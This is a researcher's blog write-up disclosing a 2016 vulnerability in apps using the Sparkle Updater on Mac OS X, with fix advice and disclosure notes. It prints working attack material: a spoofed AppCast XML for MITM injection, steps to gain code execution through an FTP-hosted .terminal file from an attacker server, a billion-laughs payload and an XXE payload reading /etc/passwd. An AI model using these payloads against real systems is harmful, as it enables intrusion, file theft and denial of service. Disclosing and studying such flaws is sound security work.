How I discovered a vulnerability in hundreds of Mac OS X applications
January 29, 2016
Lately, I was doing research connected with different updating strategies, and I tested a few applications working under Mac OS X. This short weekend research revealed that we have many insecure applications in the wild. As a result, I have found a vulnerability which allows an attacker take control of another computer on the same network (via MITM).
I've tested on both OS X 10.10 (Yosemite) and 10.11 (El Capitan) with the latest version of the software, though it should work with previous versions too.
Mentioned vulnerability is not present in the updater built into OS X. It was present in the previous version of the Sparkle Updater framework, and it's not a part of Apple Mac OS X.
Furthermore, I can confirm that Pixelmator is not vulnerable, and they discontinued use of Sparkle framework in 2011.
We have two different vulnerabilities here. First one is connected with
the default configuration (
http) which is unsafe and leads to RCE over MITM
attack inside untrusted environment.
The second one is the risk of parsing
ftp:// and other protocols
inside the WebView component. As a result, if there is a security flaw on the
server that allows replacing XML file, it can target all people through
the affected application. It's possible even without knowing the private DSA
key, without modifying application binary on the server and over
that, it doesn't require the MITM attack anymore.
The newest version of the Sparkle Updater is already available, and it addresses described vulnerabilities.
Which applications are affected?
In short, all applications that use the Sparkle Updater framework and are connecting over HTTP instead of a secure HTTPS connection are vulnerable. Since Sparkle throws an error in case of an invalid SSL certificate by default, it helps to protect against MITM attacks when used wisely.
List of all applications using Sparkle Updater framework is huge since it is the most widely used updating framework available for OS X developers.
Example applications using Sparkle Updater:
There are more, but not all of them are vulnerable.
The Sparkle Updater framework in its nature is safe and easy to use. Developers who include Sparkle in their projects just broke one simple rule: they did not set HTTPS everywhere.
The Sparkle Updater documentation notes:
"We strongly encourage you to use HTTPS URLs for the AppCast."
Since downloading an application binary over HTTPS and using DSA signature for validation is quite common and most of the applications do that, there is still a tricky part called AppCast.
AppCast is the RSS feed that hosts information about our software updates, available versions and release notes. It's the first URL that an application asks for when its update process starts. But what if the AppCast URL is using an unencrypted HTTP protocol?
We cannot modify a binary on the fly without the key required for signing an application package. That is why using tools like BDFProxy is not going to work here because by changing a binary or replacing it with a different one you are going to break the DSA Signature validation process; Sparkle Updater returns an error.
If we cannot modify the binary file and we cannot update the DSA signature, does it sound like an impossible mission? Not really. Let's take a look at this AppCast feature.
Every time you want to release a new version of an application you need to publish changes to your AppCast, just like with an RSS channel.
The official documentation of the Sparkle Updater project describes details of this process.
description entity holds the entire update message to the user.
<item> <title>Version 2.0 (2 bugs fixed; 3 new features)</title> <description><![CDATA[ <h2>New Features</h2> ... ]]> </description> ... </item>
Man In The Middle (MITM) is an attack where the third party secretly intercepts traffic between two parties, e.g., a user and a server. It provides an opportunity to capture and modify (un)encrypted traffic from the user.
Let's sum up everything to that point:
- AppCast process is using HTTP that could be intercepted and modified on the fly
- We control the transmission after doing the MITM attack
With all this information, we can go further and start our attack against SequelPro (chosen at random). Let's visualize the actual network topology:
After we control unencrypted traffic from the Bob machine by setting up one of the attacks inside your LAN, like fake Wi-Fi Access Point or sniffing/spoofing, this part is ready. Now we can spoof DNS probes for the AppCast server and send our malformed response which is:
<?xml version="1.0" encoding="utf-8"?> <rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sparkle="http://www.andymatuschak.org/xml-namespaces/sparkle" version="2.0"> <channel> <title>Sequel Pro</title> <link>http://www.sequelpro.com/</link> <description>Appcast for Sequel Pro</description> <language>en</language> <item> <title>Sequel Pro v1.2</title> <description><![CDATA[ <h1>Modified message</h1> <p>It means that our <b>MITM</b> attack is working.</p> ]]></description> <pubDate>Thu, 01 Jan 1970 00:00:01 GMT</pubDate> <enclosure url="https://github.com/sequelpro/sequelpro/releases/download/release-1.1/sequel-pro-1.1.dmg" length="10482573" type="application/octet-stream" sparkle:dsaSignature="MCwCFAyXhQMU7BR1tqa8KFuXnGAooA4ZAhQtJoStAhvbfmvsaejqnWSKWZUuY==" sparkle:version="9999" sparkle:shortVersionString="9.99" /> </item> </channel> </rss>
Remember to bump-up an app version (
sparkle:version) in the XML response.
Without it, SequelPro is not going to display our update reminder.
After we’ve confirmed that
HTML code get executed, we can test for a
To sum up:
- We have a running MITM attack
However, what if a malicious site is not capable of finding an exploit for the specific browser? It is not exploitable then by just redirecting the user to a malicious website. Let's abuse the WebView component.
Abusing Webkit, WebView component
This part is tricky. I tested many different solutions to exploit this WebView component, and failed many times. Matt just gave me a hint in his article XSS to RCE in Atlassian Hipchat. It was the missing piece of the puzzle — executing the external application right from the WebView component.
Before we exploit this issue we need to:
- Set up an FTP server (our-fake-server.com) to host our malicious code
- Run the HTTP server to act as an AppCast server
- Redirect user traffic from the www.sequelpro.com original IP address to our fake HTTP server
UPGRADE.terminal file is an exported setting profile from the Terminal app
(Terminal -> Preferences -> Profiles). Inside the "Shell" tab of selected
profile, there is a possibility to add a startup command to execute immediately
after loading a profile.
UPGRADE.terminal file is ready we can set up everything needed and
start our attack. Remember that the user does not need to check for an update
manually because applications do those checks periodically; it means that you
can just wait for an appropriate update request from the app and then exploit
This simple trick worked because:
- When you are opening an external resource like FTP, SMB or AFP, then OS X is
mounting it automatically under
- We know the path to the resource because directory name is the same as the
server name. As a result, we have the full path of
- We opened app with the
.terminalextension as a script. OS X is not looking for a signature/certificate and is not validating an app downloaded from the internet. It basically skips Gatekeeper validation.
This vulnerability results in the Remote Code Execution.
Abusing XML format
There is also an additional attack that could be easily performed using the
discovered vulnerability. Since communication is based on the
XML format, we
can test it against XML External Entity (XXE) Processing attack as well
as Billion laughs attack.
Furthermore, we can enforce application to allocate much memory resources.
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
After running described attack using presented XML file, you can see that Sequel app is allocating 3GB of memory. It means that our example worked well.
It is also possible to insert into the content of the update message any file located on the disk as far as SequelPRO can access it.
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sparkle="http://www.andymatuschak.org/xml-namespaces/sparkle" version="2.0"> <channel> <title>Sequel Pro</title> <link>http://www.sequelpro.com/</link> <description>Appcast for Sequel Pro</description> <language>en</language> <item> <title>Sequel Pro v1.2</title> <description>&xxe;</description> <pubDate>Thu, 01 Jan 1970 00:00:01 GMT</pubDate> <enclosure url="https://github.com/sequelpro/sequelpro/releases/download/release-1.1/sequel-pro-1.1.dmg" length="10482573" type="application/octet-stream" sparkle:dsaSignature="MCwCFAyXhQMU7BR1tqa8KFuXnGAooA4ZAhQtJoStAhvbfmvsaejqnWSKWZUuY==" sparkle:version="9999" sparkle:shortVersionString="9.99" /> </item> </channel> </rss>
XXE Out-Of-Band Data Retrieval
The interesting thing about XXE vulnerability is that when
SYSTEM entity is
available, you could read files directly from the remote system. This entity is
the simplest test for the XXE OOB attack.
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://127.0.0.1/ping" > ]>
In that case, it is not working because there is an appropriate fix implemented for Sparkle framework. Sparkle Updater is free against XXE OOB attack.
If you are curious if applications that you are running on your computer are
affected by implementing the Sparkle Updater without
https prefix, just run
Wireshark and check it.
To fix and avoid RCE in your app, you need to edit
Info.plist file and
SUFeedURL key. Remember to check if your
server configuration supports https and you have a valid SSL certificate in
To fully protect against this issue you need to upgrade the Sparkle Updater
framework to the version
1.13.1 (http://sparkle-project.org/) which
was already patched.
Thoughts on reporting this bug
Origami (Facebook) - I was talking with Zac. They fixed it immediately on the same day. Great communication and great process. I am glad that responsible people are working there.
Mitre CVE - I requested the CVE but didn't get any response from them. It's been a few weeks already. They even ignored The Sparkle Updater maintainer.
Sequel Pro - We jumped into the conversation right away and talked about this issue. I'm glad that Abhi is maintaining this project, cool guy with such an extensive knowledge of programming. P.S. Nice things are coming to future releases of Sequel Pro, wait for it.
Sparkle Updater - Passionates work on this project, first patch prepared on the same day. Excellent understanding of an issue. A big thanks to Kornel.
Please do "update" your applications.